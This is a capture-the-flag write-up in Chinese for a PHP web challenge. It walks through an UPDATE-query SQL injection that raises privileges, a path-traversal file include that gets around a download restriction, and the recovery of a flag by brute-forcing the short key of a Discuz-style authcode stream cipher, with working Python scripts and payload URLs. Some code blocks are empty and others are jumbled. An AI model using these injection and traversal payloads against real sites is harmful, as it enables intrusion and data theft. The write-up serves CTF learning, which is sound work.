进入，发现index.php既可登录也可注册，随便试了一下admin/admin还真能登录，后来证实其他人注册的。。
user.php可以修改资料，测试了一下sex字段可以注入，本地测试发现update注入又这样的特性
#!phpupdate users set sex=[injection_here] where id = 1;
这个语句中[injection_here]部分，如果插入的是一个字段的名称，若这个字段存在，那么返回1,否则返回0.经过http参数传入的都是字符串，除非特别要求不会转换为数字，这里性别是用0和1表示的恰好符合这个条件。不过测试了好久没有结果。第二天出了第一个hint，按照页面提示操作。访问admin.php，发现
#!bashYour power is too low.
所以构造
#!phpupdate users set sex=1,power=1 where id = 1;
出现了文件管理选项，点进去发现有两个文件。test.php,welcome.php，随便点个文件发现是个下载的功能，文件是http://url/file/download.php，显然要在这里做文章，发现可以下载本目录下的文件，但是不能下载download.php，也不能下载别的目录的文件，检测到连续的两个小数点或者出现了斜杠都会提示非法操作，这就很尴尬了。
仔细看了看所有可以控制的参数，发现admin.php的m参数是这样的
#!htmlhttp://url/admin.php?m=filemanager
猜测这里存在任意文件读取，不过和admin.php不在同一个目录， 也不知道这个当前目录名称是什么，于是不管当前目录名称，直接跨。
#!htmlhttp://url/admin.php?m=../index
经过截断是失效的
不过真的返回首页了，那么一处可以下载当前目录的文件，一处可以包含任意的php文件,两处结合可以出现什么样的火花呢？
猜测download.php的源代码
download.php
#!php
admin.php(这个后来下载下来的，直接粘帖过来。。)
#!php
这样的话，我们只需要把download.php给包含进去，就能改变目录限制啦～最终payload
#!htmlhttp://url/admin.php?m=../file/download&f=admin.php
可以看到直接下载下来了。。
后来给了hint3,下载flag.php（实际上看到群里有人讨论了一下。。猜到了这个文件，后来还是hint了），于是下载下来看
#!php
authcode.php
#!php 0 验证数据有效性 // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性 // 验证数据有效性，请看未加密明文的格式 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { // 把动态密匙保存在密文里，这也是为什么同样的明文，生产不同密文后能解密的原因 // 因为加密后的密文可能是一些特殊字符，复制过程可能会丢失，所以用base64编码 return $keyc.str_replace('=', '', base64_encode($result)); } }?> 至于common.php，因为无法跨过这个目录限制，只能包含进去，而没办法下载下来，显而易见key就在common.php里，直接给也没意思了，想办法解。
这个密码簿形成很复杂我也勉强看看，发现keya和keyb都基本拿不到，keyc可以发现和时间有关，是当前时间戳的sha256的前三个字符，而解密也用到了keyc,那么keyc必定被包含在密文中，否则无法解密，通读代码发现最后密文确实拼接了keyc的前三位，这是唯一的突破口。
google了一下discuz authcode 缺陷，发现有人指出这个实现的流密码的IV部分太短了，只有四位。而题目给的这个修改版更是只有3位，那么想办法爆破出来就行了，因为keya和keyb都是固定的，生成密码簿只需要做到keya，keyb，keyc都相同就能生成相同的密码簿，注意到之前下载的test.php的内容
#!php
提供了一组明文，那么不断的访问这个页面就可以得到密文，爆破前三位，当前三位相同的时候流密码所使用的key也就相同了，以下是简单的爆破脚本
web.py
#!pythonimport requestsurl1 = 'http://408ffe393d342329a.jie.sangebaimao.com/file/test.php'url2 = 'http://408ffe393d342329a.jie.sangebaimao.com/index.php'url3 = 'http://408ffe393d342329a.jie.sangebaimao.com/user.php's = requests.session()data = {'username':'admin','password':'admin','submit':'login'}res=s.post(url2,data=data);c=s.get(url1)while c.content[0:3]!='4da': c=s.get(url1) print c.content[0:3]print c.content 因为只有三位大概三四分钟就爆破出来一个符合条件的密文。回头看看authcode.php中加密函数的关键内容。
#!phpfor($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; // 从密匙簿得出密匙进行异或，再转成字符 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } 可见，密文（这里还没把keyc拼接上去）的每一个字符都是通过一次xor运算得到的。而xor的另一个操作数是固定不变的。那么通过两次xor就能解出明文了。但是这样还不行，我们再分析一下密文的构成。
#!php$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; return $keyc.str_replace('=', '', base64_encode($result)); 所以目标就很明确喽，获得的密文，前三位是动态密钥，接着26位如果密钥相同也就是固定不变的，真正的密文从第29位开始，我这里去掉了密文的前三位，补全了等号，再做的解密。
exp.py
#!pythonimport base64flagcode='1JE+SVphprnaoZJlJTsXKmi+hkEFTlkrbShMA6Uq5npWavTX8vFAh3yGYDf6OcbZePTLJIT+rB2sHzmPO2tuVQ=='testcode='1JE+SVphprnaoZMwdTdAfTy5hRlRHlspMHwQWPdxqCgEY/nV4uAQwTCcJjyge8HOK6eYL9/28l61TX/dNzAIf3R7wDnRqqFsj5chZoMsnjjvy1UbpdRiEg=='test='1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'testcode_b64decode=base64.b64decode(testcode)[26:]flagcode_b64decode=base64.b64decode(flagcode)[26:]flag=''for i in range(0,len(flagcode_b64decode)): flag+=chr(ord(flagcode_b64decode[i])^(ord(testcode_b64decode[i])^ord(test[i])))print flag
得到flag
#!bashmiao{de142af548c3b52fd754c1c29a100b67} 
